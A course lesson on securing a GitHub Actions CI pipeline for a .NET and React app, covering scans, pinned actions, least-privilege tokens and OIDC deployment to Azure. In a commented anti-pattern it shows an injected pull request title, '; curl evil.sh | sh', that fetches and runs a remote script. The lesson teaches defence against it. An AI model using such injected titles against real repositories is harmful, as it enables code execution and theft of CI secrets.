Catalog My learning Blog
Full-Stack Developer Course: React, .NET and SQL Server · Phase 9 · Lesson 83 · 8 min read

GitHub Actions CI for .NET and React

On this page
  1. Learning Objective
  2. Concept Explanation
  3. Worked Example: A CI Workflow with Security Jobs and an OIDC Deploy Job
  4. Real-World Examples
  5. Review Questions & Answers

Learning Objective

Build a continuous integration workflow that restores, builds, tests and scans both halves of the application, runs with least-privilege tokens, authenticates to Azure without stored secrets using OIDC federation, and avoids the common pipeline vulnerabilities around forks and third-party actions.

Concept Explanation

Continuous integration means every change is built and verified automatically before it is merged, so the main branch is always in a releasable state. GitHub Actions expresses this as workflows, YAML files in the repository that run jobs in response to events such as pull requests and pushes. A good pipeline is fast, because slow feedback gets skipped, deterministic, because flaky results erode trust, and secure, because a CI system holds keys to your infrastructure and is therefore one of the most attractive targets you operate. Treat the workflow files as production code: reviewed, protected, and minimal.

The structure follows Day 71's staging. Fast jobs run first and in parallel: restore and build the .NET solution with warnings as errors, run the unit and architecture tests, and for the frontend run lint, type checking, and the component tests. Then the integration tests run, using Docker on the runner for Testcontainers, followed by the contract check that regenerates the OpenAPI document and TypeScript types and fails on drift. Security jobs run alongside: dependency vulnerability audits, CodeQL static analysis for C# and JavaScript, secret scanning, and a container image scan. Caching the NuGet and npm downloads, canceling superseded runs with a concurrency group, and using path filters where appropriate keep the time down. Branch protection then requires these checks to pass and a review before merge.

Pipeline security has recurring pitfalls. Set the default GITHUB_TOKEN permissions to read-only at the workflow level and grant extra permissions per job only where needed. Be very careful with the pull_request_target trigger, which runs with secrets in the context of the base repository: combined with checking out and running code from a fork, it lets an outside contributor execute their code with your secrets, an attack called a pwn request that was documented by GitHub Security Lab. Never interpolate untrusted values such as pull request titles or branch names directly into shell commands with the expression syntax, since they can inject commands; pass them through environment variables instead. Pin third-party actions to commit SHAs as Day 79 explained, and prefer actions from verified creators or your own.

For deployment credentials, the modern approach is OpenID Connect federation. Instead of storing an Azure service principal secret in GitHub, you configure a federated credential in Microsoft Entra ID that trusts tokens issued by GitHub for a specific repository, branch, or environment. The workflow requests a short-lived token, exchanges it for an Azure access token with the azure login action, and has no long-lived secret to leak or rotate. Scope the trust narrowly: only the main branch and the production environment should be able to deploy to production, and the Azure role assigned to that identity should allow only what deployment needs. GitHub environments add manual approval gates and environment-specific secrets and variables, so production deployment can require a reviewer.

ConcernPracticeReason
SpeedParallel jobs, caching, concurrency cancelFast feedback is used
CorrectnessWarnings as errors, contract drift checkCatches problems before merge
Static and dependency analysisCodeQL, dependency review, auditsFinds vulnerabilities early
Token permissionsRead-only default, per-job grantsLimits what a compromised step can do
ForksAvoid pull_request_target with untrusted codePrevents secret exfiltration by outsiders
Deploy credentialsOIDC federation to Azure, protected environmentsNo stored secrets, scoped and approved

Worked Example: A CI Workflow with Security Jobs and an OIDC Deploy Job

The workflow builds and tests both stacks, runs security scans, and deploys from main with federated credentials. Comments explain the security choices.

GraphQL
# .github/workflows/ci.yml
name: ci
on:
  pull_request:
  push: { branches: [main] }

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true                      # a newer push supersedes the running one

permissions:
  contents: read                                # default for every job; grant more per job

jobs:
  backend:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683       # pinned to a commit
      - uses: actions/setup-dotnet@<full-commit-sha>                          # v4: look up and pin the SHA of the release you reviewed
        with: { global-json-file: global.json, cache: true, cache-dependency-path: '**/packages.lock.json' }
      - run: dotnet restore --locked-mode
      - run: dotnet build --no-restore -c Release -warnaserror
      - run: dotnet test tests/Unit tests/Architecture --no-build -c Release
      - run: dotnet test tests/Integration --no-build -c Release              # Testcontainers uses the runner's Docker
      - run: dotnet list package --vulnerable --include-transitive 2>&1 | tee vuln.txt && ! grep -q "has the following vulnerable" vuln.txt

  frontend:
    runs-on: ubuntu-latest
    defaults: { run: { working-directory: web } }
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: actions/setup-node@<full-commit-sha>                            # v4, pinned the same way
        with: { node-version: 22, cache: npm, cache-dependency-path: web/package-lock.json }
      - run: npm ci --ignore-scripts
      - run: npm run lint && npx tsc --noEmit
      - run: npm test -- --run
      - run: npm audit --audit-level=high && npm audit signatures
      - run: npm run build

  contract:
    runs-on: ubuntu-latest
    needs: [backend]
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: actions/setup-dotnet@<full-commit-sha>                          # v4, pinned the same way
        with: { global-json-file: global.json }
      - run: dotnet build src/TaskBoard.Host -c Release                        # regenerates openapi/*.json
      - run: cd web && npm ci --ignore-scripts && npm run api:types
      - run: git diff --exit-code openapi/ web/src/api                          # fail if the contract or types are stale

  codeql:
    runs-on: ubuntu-latest
    permissions: { contents: read, security-events: write }                    # only this job may upload results
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: github/codeql-action/init@v3
        with: { languages: 'csharp,javascript-typescript', queries: security-extended }
      - uses: github/codeql-action/autobuild@v3
      - uses: github/codeql-action/analyze@v3

  dependency-review:
    if: github.event_name == 'pull_request'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: actions/dependency-review-action@v4                              # blocks PRs that add vulnerable dependencies
        with: { fail-on-severity: high }

  image:
    needs: [backend, frontend]
    runs-on: ubuntu-latest
    permissions: { contents: read, id-token: write, attestations: write, packages: write }
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: docker build -t taskboard:${{ github.sha }} .
      - uses: aquasecurity/trivy-action@0.28.0
        with: { image-ref: 'taskboard:${{ github.sha }}', severity: 'HIGH,CRITICAL', ignore-unfixed: true, exit-code: '1' }

  deploy-staging:
    if: github.ref == 'refs/heads/main'
    needs: [contract, codeql, image]
    runs-on: ubuntu-latest
    environment: staging                        # environment-scoped variables; add required reviewers for production
    permissions: { id-token: write, contents: read }
    steps:
      - uses: azure/login@v2                    # OIDC: no client secret stored anywhere
        with:
          client-id: ${{ vars.AZURE_CLIENT_ID }}
          tenant-id: ${{ vars.AZURE_TENANT_ID }}
          subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}
      - run: az acr login --name ${{ vars.ACR_NAME }} && echo "push image, then update the revision (Day 90)"
Shell
# One-time setup: trust GitHub tokens for exactly one repository and environment. No password is created.
az ad app federated-credential create --id $APP_OBJECT_ID --parameters '{
  "name": "github-staging",
  "issuer": "https://token.actions.githubusercontent.com",
  "subject": "repo:example-org/taskboard:environment:staging",
  "audiences": ["api://AzureADTokenExchange"]
}'
# The subject pins the trust to that repo and environment. A fork or another branch cannot obtain a token for it.
Code
# Anti-pattern to avoid: untrusted text interpolated into a shell script is command injection.
#   - run: echo "Building ${{ github.event.pull_request.title }}"      # a title like "; curl evil.sh | sh" executes
# Safe: pass it through an environment variable so the shell treats it as data.
- run: echo "Building $TITLE"
  env: { TITLE: "${{ github.event.pull_request.title }}" }

Require the backend, frontend, contract, and CodeQL jobs as status checks in branch protection, and use CODEOWNERS so changes to workflow files and infrastructure code require review from the people responsible for security and platform.

A pull request starts parallel jobs for the backend, frontend, contract drift check and CodeQL, plus a dependency review. The image is built once and scanned, and merges to main deploy to staging through OIDC federation with no stored secrets.
A pull request starts parallel jobs for the backend, frontend, contract drift check and CodeQL, plus a dependency review. The image is built once and scanned, and merges to main deploy to staging through OIDC federation with no stored secrets.

Real-World Examples

  • In 2021, attackers modified Codecov's Bash uploader script, which thousands of CI pipelines downloaded and executed, so that it exfiltrated environment variables including credentials from customers' build environments. The compromise went unnoticed for about two months and led to further breaches, and it is a defining example of why CI environments hold valuable secrets and why running unverified scripts in them is dangerous.
  • GitHub Security Lab researcher Jaroslav Lobačevski described the pwn request pattern in 2021: workflows triggered by pull_request_target that check out and execute code from the pull request run attacker-controlled code with the base repository's secrets and write permissions. The article led to guidance and to changes in default token permissions, and it remains a leading source of Actions vulnerabilities.
Key TakeawaysA CI workflow builds, tests, and scans both stacks quickly and deterministically, then gates merging with required checks. Grant workflow tokens minimal permissions, avoid running untrusted code with secrets, never interpolate untrusted text into shell commands, pin third-party actions, and authenticate to Azure with OIDC federation scoped to a specific repository and environment instead of stored secrets.

Review Questions & Answers

It runs in the context of the base repository with access to secrets and write permissions, so if the workflow then builds or runs code from the fork, an outside contributor's code executes with those privileges and can steal secrets or push changes. Use the plain pull_request trigger for untrusted code, or never execute the fork's code in privileged workflows.

There is no long-lived credential to leak, rotate, or misuse. GitHub issues a short-lived token proving the workflow's identity, and Entra ID exchanges it for an access token only if the repository and environment match the configured subject. A stolen workflow file or fork cannot obtain a token for the protected environment.

If the workflow interpolates the title into a shell command with the expression syntax, the runner substitutes the raw text into the script before executing it, so a title containing shell metacharacters becomes part of the command. Passing the value through an environment variable makes the shell treat it as data, not code.

A compromised or malicious step can only use the permissions its job has, so a default of read-only limits the damage, for example preventing it from pushing code, modifying releases, or writing packages. Granting write scopes only to specific jobs that truly need them keeps the blast radius small.